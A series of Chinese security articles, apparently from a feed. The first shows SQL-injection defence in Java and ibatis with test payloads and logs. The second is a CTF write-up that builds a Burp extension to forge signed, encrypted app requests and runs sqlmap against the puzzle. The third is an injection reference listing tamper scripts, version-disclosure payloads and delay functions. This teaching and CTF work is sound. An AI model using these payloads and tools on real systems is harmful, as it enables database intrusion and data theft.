    int colCount = meta.getColumnCount();
    for (int i = 1; i <= colCount; i++) {
        sb.append(meta.getColumnName(i)).append("[")
                .append(meta.getColumnTypeName(i)).append("]").append("\t");
    }
    while (rs.next()) {
        sb.append("\r\n");

        for (int i = 1; i <= colCount; i++) {
            sb.append(rs.getString(i)).append("\t");
        }
    }
    // 关闭ResultSet
    rs.close();

    System.out.println(sb.toString());
}

public static void main(String[] args) throws SQLException {
    try {
        dbtest2 db = new dbtest2(
                "jdbc:oracle:thin:@192.xxx.xxx.xxx:1521:xxx",
                "xxx", "xxx");

        db.executeStatement("aaa", "bbb");
        db.executeStatement("aaa", "' or '2'='2");

        db.executePreparedStatement("aaa", "bbb");
        db.executePreparedStatement("aaa", "' or '2'='2");

        db.closeDb();
    } catch (ClassNotFoundException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }
}

执行结果如下。

1 db.executeStatement("aaa", "bbb");对应的结果  
executeStatement-sql: SELECT * FROM TEST_USER where username='aaa' and pwd='bbb'

USERNAME[VARCHAR2]  PWD[VARCHAR2]  
aaa bbb 

2 db.executeStatement("aaa", "' or '2'='2");对应的结果  
executeStatement-sql: SELECT * FROM TEST_USER where username='aaa' and pwd='' or '2'='2'

USERNAME[VARCHAR2]  PWD[VARCHAR2]  
aaa bbb 

3 db.executePreparedStatement("aaa", "bbb");对应的结果  
USERNAME[VARCHAR2]  PWD[VARCHAR2]  
aaa bbb 

4 db.executePreparedStatement("aaa", "' or '2'='2");对应的结果  
USERNAME[VARCHAR2]  PWD[VARCHAR2]  

可以看到使用Statement时,将查询参数设为“username='aaa' and pwd='bbb'”使用正常的查询条件能查询到对应的数据。将查询参数设为“username='aaa' and pwd='' or '2'='2'”能够利用SQL注入查询到对应的数据。

使用PreparedStatement时,使用正常的查询条件同样能查询到对应的数据,使用能使Statement产生SQL注入的查询条件无法再查询到数据。

使用Wireshark对刚才的数据库操作抓包并查看网络数据。

查找select语句对应的数据包如下。

p28

db.executeStatement("aaa", "bbb");对应的数据包如下,可以看到查询语句未使用oracle绑定变量方式,使用正常查询条件查询到了数据。

p29

db.executeStatement("aaa", "' or '2'='2");对应的数据包如下,可以看到查询语句未使用oracle绑定变量方式,利用SQL注入查询到了数据。

p30

db.executePreparedStatement("aaa", "bbb");对应的数据包如下,可以看到查询语句使用了oracle绑定变量方式,使用正常查询条件查询到了数据。

p31

db.executePreparedStatement("aaa", "' or '2'='2");对应的数据包如下,可以看到查询语句使用了oracle绑定变量方式,SQL注入未生效,无法查询到对应数据。

p32

在JAVA中使用PreparedStatement访问oracle数据库时,除了能防止SQL注入外,还能使oracle服务器降低硬解析率,降低系统开销,减少内存碎片,提高执行效率。

刚才执行的sql语句在oracle的v$sql视图中产生的数据如下。

p33

ibatis

当使用ibatis作为持久化框架时,也需要考虑SQL注入的问题。使用ibatis产生SQL注入主要是由于使用不规范。

$#

在ibatis中使用#时,与使用PreparedStatement的效果相同,不会产生SQL注入;在ibatis中使用$时,与使用Statement的效果相同,会产生SQL注入。

继续使用刚才的数据库表TEST_USER进行测试,再插入一条数据如下。

Insert into TEST_USER
   (USERNAME, PWD)
 Values
   ('123', '456');
COMMIT;

将log4j中的数据库相关日志级别设为DEBUG。

log4j.logger.com.ibatis=DEBUG
log4j.logger.com.ibatis.common.jdbc.SimpleDataSource=DEBUG
log4j.logger.com.ibatis.common.jdbc.ScriptRunner=DEBUG
log4j.logger.com.ibatis.sqlmap.engine.impl.SqlMapClientDelegate=DEBUG
log4j.logger.java.sql.Connection=DEBUG
log4j.logger.java.sql.Statement=DEBUG
log4j.logger.java.sql.PreparedStatement=DEBUG
log4j.logger.java.sql.ResultSet=DEBUG

首先使用#与$测试执行判断条件为“=”的sql语句时的情况。

在ibatis对应的xml文件中配置了语句test_right与test_wrong如下。

<select id="test_right" resultClass="java.util.HashMap"
    parameterClass="java.util.HashMap">
    select * from test_user where username = #username#
</select>

<select id="test_wrong" resultClass="java.util.HashMap"
    parameterClass="java.util.HashMap">
    select * from test_user where username = '$username$'
</select>

在JAVA代码中执行上述语句如下。

HashMap hs = new HashMap();

hs.put("username", "' or '1'='1");

List<Object> list1 = queryListSql("test_right",hs);
logger.info("test-list1: " + list1);

List<Object> list2 = queryListSql("test_wrong",hs);
logger.info("test-list2: " + list2);

log4j中执行test_right语句时的相关日志如下。

[DEBUG] Preparing Statement:    select * from test_user where username = ?  
[DEBUG] Executing Statement:    select * from test_user where username = ?    
[DEBUG] Parameters: [' or '1'='1]  
[DEBUG] Types:   
[DEBUG] ResultSet  
[INFO ] test-list1: []  

log4j中执行test_wrong语句时的相关日志如下。

[DEBUG] Preparing Statement:    select * from test_user where username = '' or '1'='1'  
[DEBUG] Executing Statement:    select * from test_user where username = '' or '1'='1'  
[DEBUG] Parameters: []  
[DEBUG] Types: []  
[DEBUG] ResultSet  
[DEBUG] Header: [USERNAME, PWD]  
[DEBUG] Result: [aaa, bbb]  
[DEBUG] Result: [123, 456]  
[INFO ] test-list2: [{PWD=bbb, USERNAME=aaa}, {PWD=456, USERNAME=123}]  

可以看到使用#可以防止SQL注入,使用$会产生SQL注入。

执行test_right语句时产生的数据包如下。

p34

执行test_wrong语句时产生的数据包如下。

p35

like

在使用ibatis执行判断条件为“like”的操作时,较容易误用$导致产生SQL注入问题。

当需要使用like时,应用使用“xxx like '%' || #xxx# || '%'”,而不应使用“xxx like '%$xxx$%'”(以oracle数据库为例)。

使用以下代码进行验证测试。

在ibatis对应的xml文件中配置了语句test_like_right与test_like_wrong如下。

<select id="test_like_right" resultClass="java.util.HashMap"
    parameterClass="java.util.HashMap">
    select * from test_user where username like '%' || #username# || '%'
</select>

<select id="test_like_wrong" resultClass="java.util.HashMap"
    parameterClass="java.util.HashMap">
    select * from test_user where username like '$username$'
</select>

在JAVA代码中执行上述语句如下。

HashMap hs = new HashMap();

hs.put("username", "' or '1'='1");

List<Object> list3 = queryListSql("test_like_right",hs);
logger.info("test-list3: " + list3);

List<Object> list4 = queryListSql("test_like_wrong",hs);
logger.info("test-list4: " + list4);

log4j中执行test_like_right语句时的相关日志如下。

[DEBUG] Preparing Statement:    select * from test_user where username like '%' || ? || '%'  
[DEBUG] Executing Statement:    select * from test_user where username like '%' || ? || '%'  
[DEBUG] Parameters: [' or '1'='1]  
[DEBUG] Types:   
[DEBUG] ResultSet  
[INFO ] test-list3: []  

log4j中执行test_like_wrong语句时的相关日志如下。

[DEBUG] Preparing Statement:    select * from test_user where username like '' or '1'='1'   
[DEBUG] Executing Statement:    select * from test_user where username like '' or '1'='1'  
[DEBUG] Parameters: []  
[DEBUG] Types: []  
[DEBUG] ResultSet  
[DEBUG] Header: [USERNAME, PWD]  
[DEBUG] Result: [aaa, bbb]  
[DEBUG] Result: [123, 456]  
[INFO ] [{PWD=bbb, USERNAME=aaa}, {PWD=456, USERNAME=123}]  

执行语句时test_like_right产生的数据包如下。

p36

执行语句时test_like_wrong产生的数据包如下。

p37

in

在使用ibatis处理判断条件为“in”的操作时,同样容易误用$导致SQL注入问题。

当需要使用in时,可使用以下方法。

java代码。

String[] xxx_list = new String[] {"xx1","xx2"};
HashMap hs = new HashMap();
hs.put("xxx", xxx_list);
//hs为sql语句查询参数

xml中的语句配置。

<select id="" resultClass="java.util.HashMap"
parameterClass="java.util.HashMap">
    ...
    <dynamic prepend=" and ">
        <isNotEmpty prepend=" and  " property="xxx">
            (xxx in
                <iterate open="(" close=")" conjunction="," property="xxx">#xxx[]#</iterate>
            )
        </isNotEmpty>
    </dynamic>
    ...
</select>

当需要使用in时,不应使用“in ('$xxx$')”。

在ibatis对应的xml文件中配置了语句test_in_right与test_in_wrong如下。

<select id="test_in_right" resultClass="java.util.HashMap"
    parameterClass="java.util.HashMap">
    select * from test_user where username in
    <iterate open="(" close=")" conjunction="," property="username">#username[]#</iterate>
</select>

<select id="test_in_wrong" resultClass="java.util.HashMap"
    parameterClass="java.util.HashMap">
    select * from test_user where username in ('$username$')
</select>

在JAVA代码中执行上述语句如下。

String[] username_list = new String[] {"') or ('1'='1"};
hs.put("username", username_list);

List<Object> list5 = queryListSql("test_in_right",hs);
logger.info("test-list5: " + list5);

HashMap hs = new HashMap();

hs.put("username", "') or ('1'='1");

List<Object> list6 = queryListSql("test_in_wrong",hs);
logger.info("test-list6: " + list6);

log4j中执行test_in_right语句时的相关日志如下。

[DEBUG] Preparing Statement:    select * from test_user where username in   (?)  
[DEBUG] Executing Statement:    select * from test_user where username in   (?)  
[DEBUG] Parameters: [') or ('1'='1]  
[DEBUG] Types:   
[DEBUG] ResultSet  
[INFO ] test-list5: []  

log4j中执行test_in_wrong语句时的相关日志如下。

[DEBUG] Preparing Statement:    select * from test_user where username in ('') or ('1'='1')  
[DEBUG] Executing Statement:    select * from test_user where username in ('') or ('1'='1')  
[DEBUG] Parameters: []  
[DEBUG] Types: []  
[DEBUG] ResultSet  
[DEBUG] Header: [USERNAME, PWD]  
[DEBUG] Result: [aaa, bbb]  
[DEBUG] Result: [123, 456]  
[INFO ] test-list6: [{PWD=bbb, USERNAME=aaa}, {PWD=456, USERNAME=123}]  

执行test_in_right语句时产生的数据包如下。

p38

执行test_in_wrong语句时产生的数据包如下。

p39

在ibatis中在执行包含like或in的语句时,使用#也是能正常查询到数据的。

在JAVA代码中使用正确的查询条件执行test_like_right与test_in_right语句如下。

HashMap hs = new HashMap();

hs.put("username", "aaa");

List<Object> list7 = queryListSql("test_like_right",hs);
logger.info("test-list7: " + list7);

String[] username_list2 = new String[] {"aaa","123"};
hs.put("username", username_list2);

List<Object> list8 = queryListSql("test_in_right",hs);
logger.info("test-list8: " + list8);

log4j中使用正确的查询条件执行test_like_right语句时的相关日志如下。

[DEBUG] Preparing Statement:    select * from test_user where username like '%' || ? || '%'  
[DEBUG] Executing Statement:    select * from test_user where username like '%' || ? || '%'  
[DEBUG] Parameters: [aaa]  
[DEBUG] Types:   
[DEBUG] ResultSet  
[DEBUG] Header: [USERNAME, PWD]  
[DEBUG] Result: [aaa, bbb]  
[INFO ] test-list7: [{PWD=bbb, USERNAME=aaa}]  

log4j中使用正确的查询条件执行test_in_right语句时的相关日志如下。

[DEBUG] Preparing Statement:    select * from test_user where username in   (?,?)  
[DEBUG] Executing Statement:    select * from test_user where username in   (?,?)  
[DEBUG] Parameters: [aaa, 123]  
[DEBUG] Types:   
[DEBUG] ResultSet  
[DEBUG] Header: [USERNAME, PWD]  
[DEBUG] Result: [aaa, bbb]  
[DEBUG] Result: [123, 456]  
[INFO ] test-list8: [{PWD=bbb, USERNAME=aaa}, {PWD=456, USERNAME=123}]  

使用正确的查询条件执行test_like_right语句时产生的数据包如下。

p40

使用正确的查询条件执行test_in_right语句时产生的数据包如下。

p41

上述全部语句执行时在oracle的v$sql视图中产生的数据如下。

p42

0x04 其他问题


错误页

在web.xml中定义error-page,防止当出现错误时暴露服务器信息。

示例如下。

<error-page>
    <error-code>404</error-code>
    <location>xxx.jsp</location>
</error-page>

<error-page>
    <error-code>500</error-code>
    <location>xxx.jsp</location>
</error-page>

仅允许已登录用户的访问

当用户访问jsp或Servlet/action/.do时,需要判断当前用户是否已登录且具有相应权限,防止出现越权使用。

0x05 后记


以上为本人的一点总结,难免存在错误之处,大牛请轻喷。

签名加密破除-burp插件在app接口fuzz中的运用

$
0
0

0x00 引子


文章本是计划在五月完成,由于一直没有合适放出的案例导致此计划一直搁浅。巧遇乌云峰会puzzle,于是出了一道相关的题目,顺便放出此文以供大家交流学习。

峰会题目地址传送门:

http://summit.wooyun.org/2016/puzzle.html

0x01 初出茅庐


随着时间的推进,攻防两端的进步。越来越多的开发者选择在app的通信中加入加密和签名机制以提高整体的安全性,这种做法确实是提高攻击以及漏洞挖掘的门槛,而如何跨过这个门槛就是本文的中心内容。

加解密相关的内容可以参考下文:

http://drops.wooyun.org/tips/6049

你是否在测试过程中遇到这样的困惑?

你是否在抓到这样的包后一脸萌比?

要解决这些问题,简单来说就是需要一个中转脚本来进行加解密和恢复签名的操作。主站现在已经有些案例利用到这个小技巧。

http://www.wooyun.org/bugs/wooyun-2010-0210847

http://www.wooyun.org/bugs/wooyun-2010-0215621

0x02 崭露头角


我这里选择利用burp的插件来完成这个脚本,选择burp的优势是可以做一些扫描也可以结合其他工具比如sqlmap组合攻击。我学习这个插件的写法是通过看官方示例代码和api,以及在github上搜索相关代码。

https://portswigger.net/burp/extender/

https://portswigger.net/burp/extender/api/index.html

https://github.com/search?q=IBurpExtender&type=Code&utf8=%E2%9C%93

drops上也有几篇文章写的非常不错。

http://drops.wooyun.org/papers/3962

http://drops.wooyun.org/tools/14040

http://drops.wooyun.org/tools/14685

http://drops.wooyun.org/tools/16056

这里最简化的处理流程,只需要掌握插件的基本的写法和IHttpListener、IExtensionHelpers、IBurpExtenderCallbacks这几个关键接口。

  1. 实现IHttpListener接口,重写processHttpMessage方法
  2. 注册IHttpListener接口,callbacks.registerHttpListener(this);
  3. 在processHttpMessage方法中对请求响应包进行加解密以及恢复签名操作。

关键方法1:发送http请求和接受http响应的时候被调用

void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo);
参数 描述
toolFlag 用于burp tool判断是否发出请求的flag
messageIsRequest 判断区分请求还是响应的flag
messageInfo http包的具体细节,可以从中取得请求或者响应包的二进制流

关键方法2:分析处理http请求

IRequestInfo analyzeRequest(IHttpService httpService, byte[] request);
参数 描述
httpService 请求服务相关包括host/method等信息,可以设置为空
request 待分析的requst二进制流
return IRequestInfo包含requst的各种细节,可以取出parameter/header等

关键方法3:通过制定headers和body重组http消息

byte[] buildHttpMessage(List<String> headers, byte[] body);
参数 描述
headers http请求头
body http请求body
return http message二进制流

起初计划是做成通用插件的,还是通过分析了一些app梳理这个通用插件所要提供的diy项后为放弃了。个人觉得这么复杂的选项(还要求有逆向基础)实在是不如改插件代码来的快。

  1. 需要提供的 editor

    • host/port/protocol填写, host : [ z.cn ]
    • 算法选择 , hash : [ md5/sha256.... ]
    • 是否排序Map sort, sort : [ Y ]
    • 签名参数填写, key : [ sign ]
    • 盐值填写,salt : []
    • 需要替换的参数 param1/param2 : [] , 替换后参数的内容 value : []
    • 需要拼接的参数, key/value ,其中 key 是否需要拼接.
    • 是否拼接 uri
    • 拼接前是否大小写转换...
  2. 支持的 hash / 加密算法

    • md5 : encode16 / encode32
    • sha : sha1 / sha256
    • encrytion : aes/des/rsa...
  3. 后续需加入的功能

    • 支持更多编码: hex / unicode /base64
    • 支持时间戳修正: timestamp

0x03 你的剑就是我的剑


掌握burp插件的写法后需要继续分析客户的加密和签名算法,这里也可以选择用cydia的插件Introspy来完成加密算法的分析。

得出加密采用AES/ECB/PKCS5Padding,密钥写在native中。

签名采用md5,salt同样写在native中。

简单看下so就有aes密钥和hash的salt了,同时这两个也是part1和part2.

现阶段在没有插件的条件下我们就可以手动用util类进行解密和数据篡改了。

请求body密文

D7A0B5D14A27FB858F62C66CCFA533FE7213566B6D50DF5FF19CE796FECE12D074B0E931907958D14F4CD6BE90D4BCB4E1225BD3C530FB6B00BFC810942CC845

解密后为

id=3&sign=3012fa31b42aa09a032db0f23d522bcf&dateline=1466505472

响应body密文

d9e128643d46562942c62de2e81dd1f34b50dcb0b9853f0ad67000bfeb34e347

解密后为

data: third data

0x04 弱点击破

结合破解到算法我们现在就可以写出这个中转插件了。

拦截客户端请求requst -> 提取参数,修复签名 -> aes加密后发送 -> 拦截服务端响应response -> aes解密

public class BurpExtender implements IBurpExtender, IHttpListener, IMessageEditorTabFactory {

    private static final String HOST = "sangebaimao.com";
    private static final String mSign = "sign";
    public static final String salt = "3edczxcv";
    public static final String key = "bhu8nhy6!QAZ@WSX";
    private IExtensionHelpers helpers;
    private IBurpExtenderCallbacks mCallbacks;

    //
    // implement IBurpExtender
    //

    @Override
    public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
        // obtain an extension helpers object
        helpers = callbacks.getHelpers();
        // set our extension name
        callbacks.setExtensionName("WY summit");
        // register ourselves as an HTTP listener
        callbacks.registerHttpListener(this);
//        callbacks.issueAlert("loaded success");
        mCallbacks = callbacks;
    }

    //
    // implement IHttpListener
    //


    @Override
    public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) {

        IHttpService httpService = messageInfo.getHttpService();

        if (messageIsRequest && httpService.getHost().endsWith(HOST)) {

            byte[] req = messageInfo.getRequest();
            IRequestInfo reqInfo = helpers.analyzeRequest(httpService, req);

            String path = reqInfo.getUrl().getPath();
            String method = reqInfo.getMethod();
            String payload = "";
            List<IParameter> param = reqInfo.getParameters();
            //PATCH method can not get parmaters
//            for (IParameter tmp:param) {
//
//                Util.log(mCallbacks,tmp.getName()+":"+tmp.getValue());
//
//            }
            String reqStr = new String(messageInfo.getRequest());
            String messageBody = reqStr.substring(reqInfo.getBodyOffset());
            payload = messageBody.substring(3);
            payload = helpers.urlDecode(payload);
            String data = "id="+payload+"&sign="+Util.md5(payload+salt);
            String sec = Util.aesEncode(key,data);
//            Util.log(mCallbacks,"data:"+data+"\nsec:"+sec);
            req = helpers.buildHttpMessage(reqInfo.getHeaders(),helpers.stringToBytes(sec));
            messageInfo.setRequest(req);

        }else {
            byte[] response = messageInfo.getResponse();
            IResponseInfo respInfo = helpers.analyzeResponse(response);
            int offset = respInfo.getBodyOffset();
            String body = helpers.bytesToString(response).substring(offset);
            String plantext = Util.aesDecode(key,body);
            messageInfo.setResponse(helpers.stringToBytes(plantext));
        }

    }
}

插件build后加载到burp中enable,再将sqlmap的流量代理到burp中,因为这个注入还有一个坑就是将space空格给替换了,所以这里加入一个tamper脚本来绕过这个filter机制。

sqlmap -r ~/Documents/cracksql.txt --proxy http://127.0.0.1:8080 --tamper space2hash.py

sqlmap identified the following injection point(s) with a total of 78 HTTP(s) requests:
---
Parameter: id (PATCH)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 3122=3122

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))GVuA)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=-5803 UNION ALL SELECT NULL,CONCAT(0x716a6a7871,0x647970627157614649706c49466f647248475a6f6f66555977736d644845537976796a696c645953,0x7171707171)#
---
back-end DBMS: MySQL 5.0.12
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (PATCH)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 3122=3122

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))GVuA)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=-5803 UNION ALL SELECT NULL,CONCAT(0x716a6a7871,0x647970627157614649706c49466f647248475a6f6f66555977736d644845537976796a696c645953,0x7171707171)#
---
back-end DBMS: MySQL 5.0.12
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sangebaimao

这里如果不解密响应包的话就不能用UNION query来快速查库了,part3就在这个库里面。

0xff 归隐江湖

  1. burp不会判断重复插件,加载新插件的时候记得移除老版本插件
  2. 插件执行顺序按照ui上显示的顺序,可以使用down/up调整
  3. 对method区分比较清楚,如果遇到post请求中url中也带有参数需要注意,当然一些奇怪的method处理起来也需要点变通
  4. output如果输入内容较多ui显示不全,可以选择output to system console,然后去terminal中查看

SQL注入关联分析

$
0
0

Author:sm0nk@猎户实验室

0x00 序


打开亚马逊,当挑选一本《Android4高级编程》时,它会不失时机的列出你可能还会感兴趣的书籍,比如Android游戏开发、Cocos2d-x引擎等,让你的购物车又丰富了些,而钱包又空了些。关联分析,即从一个数据集中发现项之间的隐藏关系。

在Web攻防中,SQL注入绝对是一个技能的频繁项,为了技术的成熟化、自动化、智能化,我们有必要建立SQL注入与之相关典型技术之间的关联规则。在分析过程中,整个规则均围绕核心词进行直线展开,我们简单称之为“线性”关联。以知识点的复杂性我们虽然称不上为神经网络,但它依然像滚雪球般对知识架构进行完善升级,所以也可称之为雪球技术。

本文以SQL注入为核心,进行的资料信息整合性解读,主要目的有:

  1. 为关联分析这门科学提供简单认知
  2. 为初级安全爱好学习者提供参考,大牛绕过
  3. 分析各关键点的区别与联系
  4. 安全扫盲

本文结构如下:

p1

PS:文章中使用了N多表格形式,主要是为了更好的区别与联系,便于关联分析及对比。

0x01 基本科普


1.1 概念说明

说明:通过在用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。http://wiki.wooyun.org/web:sql

影响:数据库增删改查、后台登录、getshell

修复:

  1. 使用参数检查的方式,拦截带有SQL语法的参数传入应用程序
  2. 使用预编译的处理方式处理拼接了用户参数的SQL语句
  3. 在参数即将进入数据库执行之前,对SQL语句的语义进行完整性检查,确认语义没有发生变化
  4. 在出现SQL注入漏洞时,要在出现问题的参数拼接进SQL语句前进行过滤或者校验,不要依赖程序最开始处防护代码
  5. 定期审计数据库执行日志,查看是否存在应用程序正常逻辑之外的SQL语句执行

1.2 注入分类

  1. 按照数据包方式分类
    1. Get post cookie auth
  2. 按照呈现形式
    1. 回显型注入
      1. Int string search
    2. 盲注
      1. Error bool time
    3. 另类注入
      1. 宽字节注入
      2. http header 注入
      3. 伪静态
      4. Base64变形

0x02 神器解读


2.1 何为神器

使用方法,参见乌云知识库。

  1. sqlmap用户手册
  2. sqlmap用户手册[续]
  3. sqlmap进阶使用

Tamper 概览

脚本名称 作用
apostrophemask.py 用utf8代替引号
equaltolike.py like 代替等号
space2dash.py 绕过过滤‘=’ 替换空格字符(”),('' – ')后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py 空格替换为#号 随机字符串 以及换行符
apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py 空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py 在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py 绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py 空格替换为其它空符号
base64encode.py 用base64编码替换
space2mssqlhash.py 替换空格
modsecurityversioned.py 过滤空格,包含完整的查询版本注释
space2mysqlblank.py 空格替换其它空白符号(mysql)
between.py 用between替换大于号(>)
space2mysqldash.py 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py 围绕SQL关键字添加多个空格
space2plus.py 用+替换空格
bluecoat.py 代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
nonrecursivereplacement.py 取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters
space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py 双url编码(不处理以编码的)
unionalltounion.py 替换UNION ALL SELECT UNION SELECT
charencode.py url编码
randomcase.py 随机大小写
unmagicquotes.py 宽字符绕过 GPC addslashes
randomcomments.py 用/**/分割sql关键字
charunicodeencode.py 字符串 unicode 编码
securesphere.py 追加特制的字符串
versionedmorekeywords.py 注释绕过
space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’

一些妙用:

  1. 避免过多的错误请求被屏蔽 参数:--safe-url,--safe-freq
  2. 二阶SQL注入 参数:--second-order
  3. 从数据库服务器中读取文件 参数:--file-read
  4. 把文件上传到数据库服务器中 参数:--file-write,--file-dest
  5. 爬行网站URL 参数:--crawl
  6. 非交互模式 参数:--batch
  7. 测试WAF/IPS/IDS保护 参数:--identify-waf
  8. 启发式判断注入 参数:--smart(有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。)
  9. -technique
    • B:基于Boolean的盲注(Boolean based blind)
    • Q:内联查询(Inline queries)
    • T:基于时间的盲注(time based blind)
    • U:基于联合查询(Union query based)
    • E:基于错误(error based)
    • S:栈查询(stack queries)

2.2 源码精读

流程图

p2

目前还未看完,先摘抄一部分(基于时间的盲注)讲解:

测试应用是否存在SQL注入漏洞时,经常发现某一潜在的漏洞难以确认。这可能源于多种原因,但主要是因为Web应用未显示任何错误,因而无法检索任何数据。

对于这种情况,要想识别漏洞,向数据库注入时间延迟并检查服务器响应是否也已经延迟会很有帮助。时间延迟是一种很强大的技术,Web服务器虽然可以隐藏错误或数据,但必须等待数据库返回结果,因此可用它来确认是否存在SQL注入。该技术尤其适合盲注。

使用了基于时间的盲注来对目标网址进行盲注测试,代码如下:

# In case of time-based blind or stacked queries
# SQL injections
elif method == PAYLOAD.METHOD.TIME:
    # Perform the test's request
    trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
    if trueResult:
        # Confirm test's results
        trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
        if trueResult:
            infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
            logger.info(infoMsg)
            injectable = True

重点注意Request.queryPage函数,将参数timeBasedCompare设置为True,所以在Request.queryPage函数内部,有这么一段代码:

if timeBasedCompare:
    return wasLastRequestDelayed()

而函数wasLastRequestDelayed()的功能主要是判断最后一次的请求是否有明显的延时,方法就是将最后一次请求的响应时间与之前所有请求的响应时间的平均值进行比较,如果最后一次请求的响应时间明显大于之前几次请求的响应时间的平均值,就说明有延迟。

wasLastRequestDelayed函数的代码如下:

def wasLastRequestDelayed():
    """
    Returns True if the last web request resulted in a time-delay
    """
    deviation = stdev(kb.responseTimes)
    threadData = getCurrentThreadData()
    if deviation:
        if len(kb.responseTimes) < MIN_TIME_RESPONSES:
            warnMsg = "time-based standard deviation method used on a model "
            warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES
            logger.warn(warnMsg)
        lowerStdLimit = average(kb.responseTimes) + TIME_STDEV_COEFF * deviation
        retVal = (threadData.lastQueryDuration >= lowerStdLimit)
        if not kb.testMode and retVal and conf.timeSec == TIME_DEFAULT_DELAY:
            adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit)
        return retVal
    else:
        return (threadData.lastQueryDuration - conf.timeSec) >= 0

每次执行http请求的时候,会将执行所响应的时间append到kb.responseTimes列表中,但不包括time-based blind所发起的请求。

从以下代码就可以知道了,当timeBasedCompare为True(即进行time-based blind注入检测)时,直接返回执行结果,如果是其他类型的请求,就保存响应时间。

if timeBasedCompare:
    return wasLastRequestDelayed()
elif noteResponseTime:
    kb.responseTimes.append(threadData.lastQueryDuration)

另外,为了确保基于时间的盲注的准确性,sqlmap执行了两次queryPage。

如果2次的结果都为True,那么就说明目标网址可注入,所以将injectable 设置为True。

0x03 数据库特性


3.1 Web报错关键字

  • Microsoft OLE DB Provider
  • ORA-
  • PLS-
  • Error in your SQL Syntax
  • SQL Error
  • Incorrect Syntax near
  • Failed Mysql
  • Unclosed Quotation Mark
  • JDBC/ODBC Driver

3.2 版本查询

  • Mysql: /?param=1 select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
  • MSSQL: /?param=1 and(1)=convert(int,@@version)--
  • Sybase: /?param=1 and(1)=convert(int,@@version)--
  • Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v\_$version where rownum=1)||chr(62))) from dual)—
  • PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--

3.3 SQL方言差异

DB 连接符 行注释 唯一的默认表变量和函数
MSSQL %2B(URL+号编码)(e.g. ?category=sho’%2b’es) -- @@PACK_RECEIVED
MYSQL %20 (URL空格编码) # CONNECTION_ID()
Oracle || -- BITAND(1,1)
PGsql || -- getpgusername()
Access “a” & “b” N/A msysobjects

3.4 SQL常用语句

SQL常用语句

内容 MSSQL MYSQL ORACLE
查看版本 select @@version select @@version select version() Select banner from v$version;
当前用户 select system_users; select suer_sname(); select user; select loginname from master..sysprocesses WHERE spid =@@SPID; select user(); select system_user(); Select user from dual
列出用户 select name from master..syslogins; select user from mysql.user; Select username from all_users ORDER BY username; Select username from all_users;
当前库 select DB_NAME(); select database(); Select global_name from global_name;
列出数据库 select name from master..sysdatabases; select schema_name from information_schema.schemata; Select ower,table_name from all_users; #列出表明
当前用户权限 select is_srvolemenber(‘sysadmin’); select grantee, privilege_type,is_grantable from information schema.user privileges; Select * from user role_privs; Select * from user_sys_privs;
服务器主机名 select @@servername; / Select sys_context(‘USERENV’,’HOST’) from dual;

p3

3.5 盲注函数

数据 MSSQL Mysql oracle
字符串长度 LEN() LENGTH() LENGTH()
从给定字符串中提取子串 SUBSTRING(string,offset,length) SELECT SUBSTR(string,offset,length) SELECT SUBSTR(string,offset,length) From dual
字符串(‘ABC’)不带单引号的表示方式 SELECT CHAR(0X41)+CHAR(0X42)+ CHAR(0X43) Select char(65,66,67) Select chr(65)||chr(66)+chr(67) from dual
触发延时 WAITFOR DELAY ‘0:0:9’ BENCHMARK(1000000,MD5(“HACK”)) Sleep(10) BEGIN DBMS_LOCK.SLEEP(5);END; --(仅PL/SQL注入) UTL_INADDR.get_host_name() UTL_INADDR.get_host_address() UTL_HTTP.REQUEST()
IF语句 If (1=1) select ‘A’ else select ‘B’ SELECT if(1=1,’A’,’B’) /

PS:SQLMAP 针对Oracle注入时,使用了比较费解的SUBSTRC,好多时候得中转更改为SUBSTR.

0x04 手工注入


4.1 应用场景

  1. 快速验证(概念性证明)
  2. 工具跑不出来了
    1. 的确是注入,但不出数据
    2. 特征不规律,挖掘规律,定制脚本
  3. 绕过过滤
    1. 有WAF,手工注入
